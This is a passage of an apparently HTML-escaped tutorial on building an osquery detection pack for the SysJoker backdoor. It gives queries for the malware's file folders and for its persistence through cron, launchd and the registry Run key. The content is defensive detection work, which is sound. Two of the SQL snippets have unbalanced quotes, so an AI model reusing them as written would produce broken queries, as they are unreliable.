&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/.Library&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;For macOS we can use the same logic by just changing the directory to the one from the report: &lt;code&gt;/Library/MacOsServices&lt;/code&gt;. This also is not a standard folder.&lt;/p&gt;
&lt;p&gt;On Windows, the malware uses two folders under the hidden ProgramData folder. We can search for files under these two folders. With this information we can create the following queries for our pack. In the pack we are using an interval of 60 seconds.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;linux-artifacts&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN users using (uid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN hash using (path)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN groups using (gid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; WHERE file.directory in (&amp;#39;/.Library&amp;#39;);&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible sysjoker Linux files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;macos-artifacts&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN users using (uid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN hash using (path)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN groups using (gid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; WHERE file.directory in (&amp;#39;/Library/MacOsServices&amp;#39;);&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;darwin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible sysjoker macOS files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;windows-artifacts&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN users using (uid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN hash using (path)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN groups using (gid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; WHERE file.directory in (&amp;#39;C:\ProgramData\RecoverySystem&amp;#39;, &amp;#39;C:\ProgramData\SystemData&amp;#39;);&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;windows&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible sysjoker Windows files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence"&gt;&lt;/span&gt;
&lt;a href="#persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;If we look at the persistence documented in the report, we can see that it uses different techniques for the different operating systems: cron job on Linux, launchd entry on macOS, and registry run key on Windows. While they are different, luckily osquery has tables for these that can be used.&lt;/p&gt;
&lt;p&gt;The cron job is executed on reboot. This allow us to query the cron table for job that runs at a reboot event with a command including the name of the malware file:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;crontab&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIKE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;@reboot&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIKE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%/updateSystem);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;On macOS we can use the launchd table to query for entries with a similar name to the name used by SysJoker:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;launchd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIKE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%com.apple.update.plist;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Finally on Windows we can query the registry table for keys similar to the registry key in the report:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;registry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIKE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;igfxCUIService&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Next Steps&lt;span class="hx:absolute hx:-mt-20" id="next-steps"&gt;&lt;/span&gt;
&lt;a href="#next-steps" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The next step is to tell the osquery daemon to load the query pack we created. This can be done by adding a pack entry to the daemon&amp;rsquo;s configuration file:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;packs&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;sysjoker&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/path/to/pack/sysjoker.json&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Once the pack has been loaded the daemon will log result to the result log. To get alerts when matches have been found, the logs can be forward to a SIEM. (The process of configuring log forwarding to a SIEM is out of scope of this and will not be covered.)&lt;/p&gt;
&lt;p&gt;When using packs the name of the query will be prepended by the pack name, making it easy to create an alert. For example in this tutorial, all queries with a result will have a name starting with &lt;code&gt;pack_sysjoker&lt;/code&gt;. If you don&amp;rsquo;t want to create a pack from scratch, you can use the pack provided in the appendix below.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Appendix A – sysjoker.json Pack&lt;span class="hx:absolute hx:-mt-20" id="appendix-a--sysjokerjson-pack"&gt;&lt;/span&gt;
&lt;a href="#appendix-a--sysjokerjson-pack" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;queries&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;linux-artifacts&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN users using (uid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN hash using (path)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN groups using (gid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; WHERE file.directory in (&amp;#39;/.Library&amp;#39;);&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
